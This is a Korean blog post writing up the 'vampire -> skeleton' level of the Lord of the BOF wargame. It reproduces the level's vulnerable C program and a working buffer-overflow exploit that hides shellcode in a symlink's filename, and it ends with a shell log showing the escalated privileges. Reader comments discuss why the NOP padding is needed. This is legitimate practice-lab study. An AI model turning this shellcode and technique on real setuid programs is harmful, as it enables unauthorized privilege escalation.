ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [lob] vampire -> skeleton
    공부/LOB 2014. 7. 30. 20:05

    [vampire@localhost vampire]$ cat skeleton.c
    /*
            The Lord of the BOF : The Fellowship of the BOF
            - skeleton
            - argv hunter
    */

    #include <stdio.h>
    #include <stdlib.h>

    extern char **environ;

    main(int argc, char *argv[])
    {
        char buffer[40];
        int i, saved_argc;

        if(argc < 2){
            printf("argv error\n");
            exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
            memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
            printf("stack is still your friend.\n");
            exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
            printf("argument is too long!\n");
            exit(0);
        }

        // argc saver
        saved_argc = argc;

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

            // buffer hunter
            memset(buffer, 0, 40);

        // ultra argv hunter!
        for(i=0; i<saved_argc; i++)
            memset(argv[i], 0, strlen(argv[i]));
    }

    ./`python -c'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + "\x90"*40'` `python -c 'print "a"*44+"\xa3\xff\xff\xbf"'`


    //뒤에 놉을 넣은 이유는 쉘코드 중간에 esi를 변경하는 구문이 있는데 그냥 넣어줄 경우 스택의 범위를 초과하게 되면서 제대로 실행되지 않는다

    [vampire@localhost vampire]$ ln -s skeleton `python -c'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + "\x90"*40'`
    [vampire@localhost vampire]$ ./:wq `python -c'print "a"*44+"\xa3\xff\xff\xbf"'`
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?
    bash$ ls
    ls: .: Permission denied
    bash$ mypass
    sh: mypass: command not found
    bash$ my-pass
    euid = 510
    shellcoder
    bash$

    '공부 > LOB' 카테고리의 다른 글

    [lob] darkknight -> bugbrear  (0) 2014.07.30
    [lob] golem -> darknight  (0) 2014.07.30
    [lob] vampire -> skeleton  (3) 2014.07.30
    [lob] troll -> vampire  (0) 2014.07.30
    [lob] orge -> troll  (0) 2014.07.30
    [lob] darkelf -> orge  (0) 2014.07.30

    댓글 3

    • Nalachagi 2015.06.30 12:12

      안녕하세요 LOB 문제 풀다가
      쉘코드 \xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81 를 써서 하려고

      ./`python -c 'print "\x90"*40+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "\xbf"*44+"\xb0\xff\xff\xbf"'`


      이런식으로 했는데 안되서 블로그 여러군데를 봤더니 다른쉘코드쓰고 이유에 대해 설명하는 곳이 여기 밖에 없더라고요.

      esi를 변경한다고 하셨는데 좀만더 자세히 설명해주실수 없을까요?

      • BlogIcon Jen6 2015.07.10 02:32 신고

        답변이 좀 늦었네요 파일명은 보통 메모리의 제일 끝에 주소에 들어가게 됩니다. 근데 쉘코드를 진행하다 보면 잘 기억은 안나지만 현재 스택의 위치 + 몇바이트를 esi에 옮겼던것 같은데 아무튼 이렇게 될경우 정상적으로 쉘코드가 실행이 안됩니다. 그래서 파일명 끝에 nop를 몇개 더 넣어주면 메모리 공간이 좀 더 확보가 되기 때문에 nop을 넣어줬었습니다.

      • BlogIcon Jen6 2015.07.10 02:32 신고

        도움이 되셨을란지 모르겠네요

Designed by Tistory.